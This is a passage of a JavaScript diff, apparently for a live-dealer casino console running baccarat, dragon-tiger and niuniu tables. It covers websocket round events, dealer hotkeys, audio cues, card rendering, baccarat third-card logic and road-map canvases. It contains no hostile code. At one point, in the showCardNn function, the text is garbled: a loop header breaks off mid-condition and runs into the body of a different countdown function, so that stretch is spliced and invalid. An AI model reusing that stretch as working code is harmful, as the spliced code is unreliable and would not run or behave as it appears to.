+ clearBetAmount(); + waybillFunc(); + getResultToatl(data.round.boot_id) + showForecast(); + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRob',function(data){ + if(data.status === true && data.table_id == table_id){ + mp3List = ['start_rob.mp3']; + audioMp3(mp3List).Play(); + $("#number_rob_status").val(1); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRobCountDown',function(data){ + if(data.status === true && data.table_id == table_id && data.count_down >= 0){ + $('.nobegin-tip').html('抢庄中'); + countDownRob(data.count_down); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('endRob',function(data){ + $('.nobegin-tip').html(''); + if(data.status === true && data.table_id == table_id){ + $('#number_rob_status').val(2); + startBet(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); + card_info=[]; + }else{ + layer.msg(lang[data.msg]); + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + getResultToatl(data.round.boot_id) + showForecast(); + + }else{ + layer.msg(lang[data.msg]); + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + getResultToatl(data.round.boot_id) + showForecast(); + + }else{ + layer.msg(lang[data.msg]); + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + if (interval_time > 0) { + var doIntervalTime = parseInt(interval_time) + 1; + var intervalTime = setInterval(function(){ + doIntervalTime--; + $(".countdown .num").html(doIntervalTime) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + $(".countdown .round-txt-item").addClass("color-red"); + if(doIntervalTime == 0) { + clearInterval(intervalTime); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".countdown .round-txt-item").removeClass("color-red"); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + $('#opening').val(0); + $('#result_banker_pair').val(0); + $('#result_player_pair').val(0); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + c = parseInt($('#wait_time').val()); + } + },1000); + } else { + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + if(game_id == 6){ + $('#toning_result').val(''); + $(".toning-result-num").removeClass("active"); + } + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + + // 识别相关 + if (scanner_type == 2 && game_id == 1) { + doScanCards(); + } else if (scanner_type == 2 && game_id == 2) { + doDtScanCards(); + } else if (scanner_type == 2 && game_id == 4) { + doNnScanPositionCard(); + doNnScanCards(); + } + } + + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingBaccarat',function(data){ + if(data.status === true && data.table_id == table_id){ + showPng(data.round.opening,data.round.pair,1); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + getResultToatl(data.round.boot_id) + clearBetAmount(); + waybillFunc(); + showForecast(); + + }else{ + layer.msg(lang[data.msg]); + } +}); +websocket.on('openingDt',function(data){ + if(data.status === true && data.table_id == table_id){ + showPngDt(data.round.opening,1); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + getResultToatl(data.round.boot_id) + showForecast(); + + }else{ + layer.msg(lang[data.msg]); + } +}); +websocket.on('resetBaccarat',function(data){ + layer.closeAll(); + if(data.status === true && data.table_id == table_id){ + $('#update_ludan').hide(); + waybillFunc(); + showForecast(); + }else{ + layer.msg(data.msg); + } +}); +websocket.on('resetDt',function(data){ + layer.closeAll(); + if(data.status === true && data.table_id == table_id){ + $('#update_ludan').hide(); + waybillFunc(); + showForecast(); + }else{ + layer.msg(data.msg); + } +}); +//事件返回********************************************************************************************************************* + +//启动执行 +$(function(){ + checkLimit() + getLang(); + $(document).keydown(function (e){ + var inputId= $(":text:focus").attr("id"); + if(inputId != 'cny_limit_bp' && inputId != 'cny_limit_tie' && inputId != 'cny_limit_pair' && inputId != 'usd_limit_bp' && inputId != 'usd_limit_tie' && inputId != 'usd_limit_pair'){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + console.log($(":text:focus").attr("id")); + $('#opening').val('0'); + $('#result_banker_pair').val('0'); + $('#result_player_pair').val('0'); + $('#openingElement').hide(); + $('#update_ludan').hide(); + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + endBet(); + } + var betStatus = $("#number_tab_status").val(); + if(betStatus == 2){ + if(e.keyCode == 105){ + $('#opening').val('1'); + $('#result_banker_pair').val('0'); + $('#result_player_pair').val('0'); + $('#dt_pair').val('0'); + $('#openingElement').show(); + if(game_id == 1){ + showPng(1,0,0); + }else{ + showPngDt(1,0); + } + } + if(e.keyCode == 103){ + $('#opening').val('2'); + $('#result_banker_pair').val('0'); + $('#result_player_pair').val('0'); + $('#dt_pair').val('0'); + $('#openingElement').show(); + if(game_id == 1){ + showPng(2,0,0); + }else{ + showPngDt(2,0) + } + } + if(e.keyCode == 104){ + $('#opening').val('3'); + $('#result_banker_pair').val('0'); + $('#result_player_pair').val('0'); + $('#dt_pair').val('0'); + $('#openingElement').show(); + showPng(3,0,0); + } + if(e.keyCode == 102){ + if(game_id == 1){ + var result = $('#opening').val(); + $('#result_banker_pair').val('1'); + $('#result_player_pair').val('0'); + if(result == 1){ + showPng(1,1,0); + } + if(result == 2){ + showPng(2,1,0); + } + if(result == 3){ + showPng(3,1,0); + } + } + } + if(e.keyCode == 100){ + if(game_id == 1){ + var result = $('#opening').val(); + $('#result_player_pair').val('2'); + $('#result_banker_pair').val('0'); + if(result == 1){ + showPng(1,2,0); + } + if(result == 2){ + showPng(2,2,0); + } + if(result == 3){ + showPng(3,2,0); + } + } + } + if(e.keyCode == 101){ + if(game_id == 1){ + var result = $('#opening').val(); + $('#result_banker_pair').val('1'); + $('#result_player_pair').val('2'); + if(result == 1){ + showPng(1,3,0); + } + if(result == 2){ + showPng(2,3,0); + } + if(result == 3){ + showPng(3,3,0); + } + } + } + } + } + }) + $(window).resize(function(){ + requestData(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) + + // 牛牛识别 + if (scanner_type == 2 && game_id == 4) { + $('.begincard .card').find(".face").on('click', function() { + openAllCardsPanel(this); + }); + } + +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +}; +function showPng(opening, pair,isVoice){ + if(opening == 1 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/3in1/banker.png'); + if(isVoice){ + mp3List = ['banker_win.mp3']; + } + + } + if(opening == 1 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/3in1/banker_bpair.png'); + if(isVoice){ + mp3List = ['banker_win.mp3','banker_pair.mp3']; + } + + } + if(opening == 1 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/3in1/banker_ppair.png'); + if(isVoice){ + mp3List = ['banker_win.mp3','player_pair.mp3']; + } + + } + if(opening == 1 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/3in1/banker_bpair_ppair.png'); + if(isVoice){ + mp3List = ['banker_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + + } + if(opening == 2 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/3in1/player.png'); + if(isVoice){ + mp3List = ['player_win.mp3']; + } + + + } + if(opening == 2 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/3in1/player_bpair.png'); + if(isVoice){ + mp3List = ['player_win.mp3','banker_pair.mp3']; + } + + } + if(opening == 2 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/3in1/player_ppair.png'); + if(isVoice){ + mp3List = ['player_win.mp3','player_pair.mp3']; + } + + } + if(opening == 2 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/3in1/player_bpair_ppair.png'); + if(isVoice){ + mp3List = ['player_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + + } + if(opening == 3 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/3in1/tie.png'); + if(isVoice){ + mp3List = ['tie.mp3']; + } + + } + if(opening == 3 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/3in1/tie_bpair.png'); + if(isVoice){ + mp3List = ['tie.mp3','banker_pair.mp3']; + } + + } + if(opening == 3 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/3in1/tie_ppair.png'); + if(isVoice){ + mp3List = ['tie.mp3','player_pair.mp3']; + } + + } + if(opening == 3 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/3in1/tie_bpair_ppair.png'); + if(isVoice){ + mp3List = ['tie.mp3','banker_pair.mp3','player_pair.mp3']; + } + + } + if(isVoice){ + audioMp3(mp3List).Play(); + } + +} + +function showPngDt (opening,isVoice){ + if(opening == 1) { + $('#openingPng').attr('src','/static/result_img/3in1/drogon.png'); + if(isVoice){ + mp3List = ['dragon_win.mp3']; + } + } + if(opening == 2) { + $('#openingPng').attr('src','/static/result_img/3in1/tiger.png'); + if(isVoice){ + mp3List = ['tiger_win.mp3']; + } + } + if(opening == 3) { + $('#openingPng').attr('src','/static/handle/result_img/3in1/tie.png'); + if(isVoice){ + mp3List = ['tie.mp3']; + } + } + if(isVoice){ + audioMp3(mp3List).Play(); + } +} + +function gameResult(data){ + var result_imgsrc='',Result=''; + switch(true){ + case data.round.opening==1:// 庄 + Result='banker'; + $(".begincard .card-box .banker-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==2:// 闲 + Result='player'; + $(".begincard .card-box .player-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==3:// 和 + Result='tie' + break; + } + if(data.round.pair==1){ + result_imgsrc=Result+'_bpair' + }else if(data.round.pair==2){ + result_imgsrc=Result+'_ppair' + }else if(data.round.pair==3){ + result_imgsrc=Result+'_bpair_ppair' + }else{ + result_imgsrc=Result + } + var src='/static/result_img/3in1/'+result_imgsrc+'.png' + $(".begincard .player-card .draw .text ").html(lang.player_all+' '+data.round.player+' '+lang.point) + $(".begincard .banker-card .draw .text ").html(lang.banker_all+' '+data.round.banker+' '+lang.point); + $('#openingElement').show(); + $('#openingElement').addClass("blink"); + isopentime=false; + setTimeout(function(){ + + $('#openingElement').removeClass("blink"); + $('#openingElement').hide(); + $('#opening').val('0'); + $('#result_banker_pair').val('0'); + $('#result_player_pair').val('0'); + },3000) +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +//显示牌面 +var showCard = function(showCard){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }); + $.each(showCard,function(i,v){ + if(v.number!=false){ + var _thisdata={"status":true,round:v} + Flop(_thisdata); + } + }) +} +//是否显示补牌 +function isShowSupport(isSupport){ + if(isSupport.is_bopai){ + if(isSupport.player_3 == 1){ + $('.begincard .player-card .draw .rotate').css("display","inline-block") + } + if(isSupport.banker_3 == 1){ + $('.begincard .banker-card .draw .rotate').css("display","inline-block") + } + } +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + + if(game_id==1){ + let support = isBopai(card_info); + isShowSupport(support); + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} +//百家乐判断是否要博牌 +function isBopai(card_info){ + card_info["length"]=0; + for( var i in card_info) { card_info["length"]++; } + var bopai_info = Array(3); + if(card_info.length<4){ + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + card_info=[]; + return bopai_info; + } + else { + if (card_info['banker_1'] > 10) { + card_info['banker_1'] = 10; + } + if (card_info['banker_2'] > 10) { + card_info['banker_2'] = 10; + } + if (card_info['banker_3'] > 10) { + card_info['banker_3'] = 10; + } + if (card_info['player_1'] > 10) { + card_info['player_1'] = 10; + } + if (card_info['player_2'] > 10) { + card_info['player_2'] = 10; + } + if (card_info['player_3'] > 10) { + card_info['player_3'] = 10; + } + var card_length = card_info.length; + var banker_result = (card_info['banker_1'] + card_info['banker_2']) % 10; + var player_result = (card_info['player_1'] + card_info['player_2']) % 10; + if (card_length == 4) { + if (player_result == 8 || player_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + else if (banker_result == 8 || banker_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + else if (player_result == 0 || player_result == 1 || player_result == 2 || player_result == 3 || player_result == 4 || player_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 1; + + } + else if (banker_result == 0 || banker_result == 1 || banker_result == 2 || banker_result == 3 || banker_result == 4 || banker_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (player_result == 6 || player_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + } + else if (card_length == 5) { + if (card_info['player_3'] > 0) { + if (banker_result == 0 || banker_result == 1 || banker_result == 2) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (banker_result == 3) { + if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 8) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 4) { + if (card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 5) { + if (card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 6) { + if (card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } else { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + card_info=[]; + return bopai_info; + } +} +var showCardNn = function(data){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + }); + card_number_info = data; + if(card_number_info.length > 0){ + for(var i=0;i 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + // mp3List = ['end_rob.mp3']; + // audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + webSocket.send('{"connect":"space","mode":"endRob","number_tab_id":"'+parseInt(number_tab_id)+'","table_id":"'+parseInt(table_id)+'"}'); + return; + } +} +function getTime() { + var today = new Date(); + var h = today.getHours(); + var minute = today.getMinutes() + var s = today.getSeconds(); + if (h < 10) { + h = "0" + h; + } + if (minute < 10) { + minute = "0" + minute; + } + if (s < 10) { + s = "0" + s; + } + if(lang.lang == 'en-us'){ + var strDate = new Date(); + strDate = strDate.toDateString() + strDate += " " + h + ":" + minute + ":" + s; + }else if(lang.lang == 'zh-cn'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + }else if(lang.lang == 'zh-tw'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + } + var n_day = today.getDay(); + switch (n_day) { + case 0: + var week = lang.sunday; + break; + case 1: + var week = lang.monday; + break; + case 2: + var week = lang.tuesday; + break; + case 3: + var week = lang.wednesday; + break; + case 4: + var week = lang.thursday; + break; + case 5: + var week = lang.friday; + break; + case 6: + var week = lang.saturday; + break; + case 7: + var week = lang.sunday; + break; + } + $('.date .weekend').html(week); + $('.date .time').html(strDate); +} +// 请求所有路单数据,执行画布刷新 +function waybillFunc(){ + var data = new Object; + data.boot_id = $('#boot_id').val(); + data.game_id = game_id; + var url="/index/waybill" + $.ajax({ + url:url, + type:"POST", + dataType:"JSON", + data:data, + success:function(data){ + ludan = data; + requestData(ludan); + } + }); +} +function requestData(data,ask,askroad){ + var ask=ask||false; + var askroad=askroad||{ + "askshowroad":false, + "askbigRoad":false, + "askbigEyeRoad":false, + "askpathway":false, + "askroach":false, + "asksanxingRoad":false, + }; + + bigH=$(".canvas-box.big").height(); + bigW=$(".canvas-box.big").width(); + // 计算单位 + unitbig=bigH/6; + // 计算列个数 + + colbig=Math.floor(bigW/unitbig); + smallH=$(".canvas-box.small").height(); + smallW=$(".canvas-box.small").width(); + unitsmall=smallH/6; + colsmall=Math.floor(smallW/unitsmall); + CanvasTable("#canvas1",unitsmall,6,colsmall,data,ask,askroad); + CanvasTable("#canvas2",unitsmall,6,colsmall,data,ask,askroad); + CanvasTable("#canvas3",unitbig,6,colbig,data,ask,askroad); +} +function CanvasTable(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols,height=unit*rows; + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath(); + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay"; + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + } + break; + case Id=="#canvas1": + var bigRoad=data.waybill.bigRoad; + if(bigRoad!=''){ + if(bigRoad[0].result==3&&bigRoad[0].show_x==1&&bigRoad[0].show_y==1){ + BigPathTie(ctb,unit,bigRoad[0].tie_num) + }else{ + var roadType="bigWay"; + cutRoad(roadType,ctb,unit,bigRoad,cols,ask,askroad.askbigRoad); + } + } + break; + case Id=="#canvas2": + var bigEyeRoad=data.waybill.bigEyeRoad; + var pathway=data.waybill.pathway; + var roach=data.waybill.roach; + var sanxingRoad=data.waybill.sanxingRoad; + if(bigEyeRoad!=''){ + var roadType="bigeyeWay" + cutRoad(roadType,ctb,unit,bigEyeRoad,cols,ask,askroad.askbigEyeRoad); + }; + if(pathway!=''){ + var roadType="littlWay" + cutRoad(roadType,ctb,unit,pathway,cols,ask,askroad.askpathway); + }; + if(roach!=''){ + var roadType="roachWay"; + cutRoad(roadType,ctb,unit,roach,cols,ask,askroad.askroach); + }; + if(sanxingRoad!=''){ + var roadType="sanxingWay"; + cutRoad(roadType,ctb,unit,sanxingRoad,cols,ask,askroad.askroach); + }; + break; + } + } +} +// 前端路单数据截取 +function cutRoad(roadType,ctb,unit,roadData,cols,ask,askroad){ + var L=roadData.length; + var new_roadData=[]; + var Tab=0 + if(roadType=="showWay"||roadType=="bigWay"){ + if(ask&&askroad){ + Tab=cols; + }else{ + Tab=cols-1; + } + }else{ + if(ask&&askroad){ + Tab=cols-1; + }else{ + Tab=cols-2; + } + } + var start_x=cols/2+0.25; + var sanxingSatrtX = cols/2+0.5; + if(L>=1){ + var last_x=roadData[L-1].show_x; + if(last_x>Tab){ + var cut=last_x-Tab + $.each(roadData,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v); + } + }) + }else{ + new_roadData=roadData; + cut=0; + } + }else{ + new_roadData=roadData; + cut=0; + } + $.each(new_roadData,function(i,v){ + if(roadType=="roachWay"){ + CockrochPath(ctb,unit,start_x,v.show_x-cut,v.show_y,v.result) + }else if(roadType=="littlWay"){ + LittlePath(ctb,unit,v.show_x-cut,v.show_y,v.result) + }else if(roadType=="bigeyeWay"){ + BigeyePath(ctb,unit,v.show_x-cut,v.show_y,v.result) + }else if(roadType=="showWay"){ + SoloPath(ctb,unit,v.show_x-cut,v.show_y,v.result,v.pair,v.lucky_six) + }else if(roadType=="bigWay"){ + BigPath(ctb,unit,v.show_x-cut,v.show_y,v.result,v.tie_num,v.pair) + }else if(roadType=="sanxingWay"){ + sanxingPath(ctb,unit,sanxingSatrtX,v.show_x-cut,v.show_y,v.result) + } + }) +} +// 局数 数,文字X坐标,文字Y坐标,文字大小风格 +function Font_tie(ctb,num,Font_x,Font_y,fontsize){ + if(num!==undefined){ + ctb.beginPath(); + ctb.font=fontsize; + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + 